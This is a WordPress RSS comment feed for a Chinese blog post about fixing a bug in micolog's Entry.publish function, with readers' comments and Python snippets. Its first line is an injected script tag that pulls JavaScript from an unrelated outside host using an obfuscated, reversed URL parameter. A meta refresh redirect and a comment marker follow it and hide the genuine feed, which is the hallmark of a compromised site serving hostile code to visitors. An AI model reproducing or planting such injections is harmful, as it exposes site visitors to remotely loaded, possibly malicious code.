<script src='http://turnitupnow.net/?rnd=2367deef%2Flmth.noitcnuf-hsilbup-yrtne-gub-a-s936200ugolocim-riaper%2F12%2F90%2F9002%2Fmoc.elcerim.www'></script><meta http-equiv='refresh' content='0;url=http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/feed'><!--<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《修复micolog的一个bug:Entry.publish函数》的评论</title>
	<atom:link href="http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html</link>
	<description>it,技术,经济生活,互联网</description>
	<lastBuildDate>Tue, 31 Jan 2012 13:31:22 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2</generator>
	<item>
		<title>作者：houkai</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-436</link>
		<dc:creator>houkai</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-436</guid>
		<description>快中秋了 大家可以歇歇了 &lt;br /&gt;HOUKAI预祝大家中秋国庆快乐 &lt;br /&gt;&lt;a href=&quot;http://zhongqiu.houkai.com/?stra=%u4FAF%u51EF&quot; rel=&quot;no-follow&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;猛击此处&lt;/a&gt; 为大家送上可口的阅兵！：）</description>
		<content:encoded><![CDATA[<p>快中秋了 大家可以歇歇了<br />
<br />HOUKAI预祝大家中秋国庆快乐 <br /><a href="http://zhongqiu.houkai.com/?stra=%u4FAF%u51EF" rel="no-follow" target="_blank" rel="nofollow">猛击此处</a> 为大家送上可口的阅兵！：）</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：houkai</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-437</link>
		<dc:creator>houkai</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-437</guid>
		<description>里完美有进了一步了  &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_smile.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>里完美有进了一步了  <img src="http://yanpblog.appspot.com/static/images/icons/icon_smile.gif" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-438</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-438</guid>
		<description>加在开头就行了吧：&lt;br /&gt;def publish(self,newval=True):&lt;br /&gt;        if newval:&lt;br /&gt;&lt;br /&gt;            &lt;font color=&quot;red&quot;&gt;self.published = True&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;            if not self.is_saved():&lt;br /&gt;                self.save()</description>
		<content:encoded><![CDATA[<p>加在开头就行了吧：<br />def publish(self,newval=True):<br />        if newval:</p>
<p>            <font color="red">self.published = True</font></p>
<p>            if not self.is_saved():<br />                self.save()</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：仁心博客</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-439</link>
		<dc:creator>仁心博客</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-439</guid>
		<description>向你学习</description>
		<content:encoded><![CDATA[<p>向你学习</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：houkai</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-440</link>
		<dc:creator>houkai</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-440</guid>
		<description>是这吗 大概411行（红色部分）&lt;br /&gt;&lt;p&gt;&#160;&#160;&#160; if not self.published: &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount+=1 &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; &lt;font color=&quot;#800000&quot;&gt;self.published=True &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&#160;&#160;&#160; g_blog.save() &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.save() &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;else: &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.published=false &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; if self.published: &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount-=1 &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; g_blog.save() &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.save() &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;self.removecache() &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;if g_blog.sitemap_ping: &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; Sitemap_NotifySearch() &lt;/p&gt;&lt;br /&gt;</description>
		<content:encoded><![CDATA[<p>是这吗 大概411行（红色部分）<br />

<p>&#160;&#160;&#160; if not self.published: </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount+=1 </p>
<p>&#160;&#160;&#160; <font color="#800000">self.published=True </font></p>
<p>&#160;&#160;&#160; g_blog.save() </p>
<p>&#160;&#160;&#160; self.save() </p>
<p>else: </p>
<p>&#160;&#160;&#160; self.published=false </p>
<p>&#160;&#160;&#160; if self.published: </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount-=1 </p>
<p>&#160;&#160;&#160; g_blog.save() </p>
<p>&#160;&#160;&#160; self.save() </p>
<p>self.removecache() </p>
<p>if g_blog.sitemap_ping: </p>
<p>&#160;&#160;&#160; Sitemap_NotifySearch() </p>
<p></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：houkai</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-441</link>
		<dc:creator>houkai</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-441</guid>
		<description>太宽了 不整齐&lt;br /&gt;&lt;p&gt;&#160;&#160;&#160; if not self.published: &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount+=1 &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; &lt;font color=&quot;#800000&quot;&gt;self.published=True &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&#160;&#160;&#160; g_blog.save() &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.save() &lt;br /&gt;  &lt;br /&gt;else: &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.published=false &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; if self.published: &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount-=1 &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; g_blog.save() &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; self.save() &lt;br /&gt;  &lt;br /&gt;self.removecache() &lt;br /&gt;  &lt;br /&gt;if g_blog.sitemap_ping: &lt;br /&gt;  &lt;br /&gt;&#160;&#160;&#160; Sitemap_NotifySearch() &lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>太宽了 不整齐<br />

<p>&#160;&#160;&#160; if not self.published: </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount+=1 </p>
<p>&#160;&#160;&#160; <font color="#800000">self.published=True </font></p>
<p>
<p>&#160;&#160;&#160; g_blog.save() </p>
<p>&#160;&#160;&#160; self.save() </p>
<p>else: </p>
<p>&#160;&#160;&#160; self.published=false </p>
<p>&#160;&#160;&#160; if self.published: </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160; g_blog.entrycount-=1 </p>
<p>&#160;&#160;&#160; g_blog.save() </p>
<p>&#160;&#160;&#160; self.save() </p>
<p>self.removecache() </p>
<p>if g_blog.sitemap_ping: </p>
<p>&#160;&#160;&#160; Sitemap_NotifySearch() </p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：TaoGOGO</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-442</link>
		<dc:creator>TaoGOGO</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-442</guid>
		<description>不知道徐明同学啥时候出新版…… &lt;img src=&quot;http://yanpblog.appspot.com/static/images/icons/icon_wink.gif&quot; /&gt;</description>
		<content:encoded><![CDATA[<p>不知道徐明同学啥时候出新版…… <img src="http://yanpblog.appspot.com/static/images/icons/icon_wink.gif" /></p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：yanpeng</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-443</link>
		<dc:creator>yanpeng</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-443</guid>
		<description>先在dashboard里面修改一下entrycount，然后再修正bug就好了</description>
		<content:encoded><![CDATA[<p>先在dashboard里面修改一下entrycount，然后再修正bug就好了</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：hiekfreeman</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-444</link>
		<dc:creator>hiekfreeman</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-444</guid>
		<description>这个编辑器不错 http://code.google.com/p/xheditor/  后台可以考虑换这个了  给的例子功能还可以！！  &lt;br /&gt;哦，今天我把if的注销后 显示随机文章达到一致了。但比如有7篇文章 随机数好像只能设到4.增加几篇日志，随机数也可以增加了。应该是g_blog.entrycount的问题！！ 如果本地出问题了，将代码注销 关掉cmd 重新启动服务才能打开8080.&lt;br /&gt;后来 我加了好几篇 最终将随机数设置为8（还是注销掉if了） 一些ok了上传，但 传上去就有问题了！！&lt;br /&gt;只能先注销所有代码 以后再加这个功能了！！</description>
		<content:encoded><![CDATA[<p>这个编辑器不错 <a href="http://code.google.com/p/xheditor/" rel="nofollow">http://code.google.com/p/xheditor/</a>  后台可以考虑换这个了  给的例子功能还可以！！<br />
<br />哦，今天我把if的注销后 显示随机文章达到一致了。但比如有7篇文章 随机数好像只能设到4.增加几篇日志，随机数也可以增加了。应该是g_blog.entrycount的问题！！ 如果本地出问题了，将代码注销 关掉cmd 重新启动服务才能打开8080.<br />
<br />后来 我加了好几篇 最终将随机数设置为8（还是注销掉if了） 一些ok了上传，但 传上去就有问题了！！<br />
<br />只能先注销所有代码 以后再加这个功能了！！</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：houkai</title>
		<link>http://www.mirecle.com/2009/09/21/repair-micologu002639s-a-bug-entry-publish-function.html/comment-page-1#comment-445</link>
		<dc:creator>houkai</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">/2009/09/21/22063.html#comment-445</guid>
		<description>问一下 本地有dashboard吗 怎么进去？&lt;br /&gt;</description>
		<content:encoded><![CDATA[<p>问一下 本地有dashboard吗 怎么进去？<br /></p>
]]></content:encoded>
	</item>
</channel>
</rss>

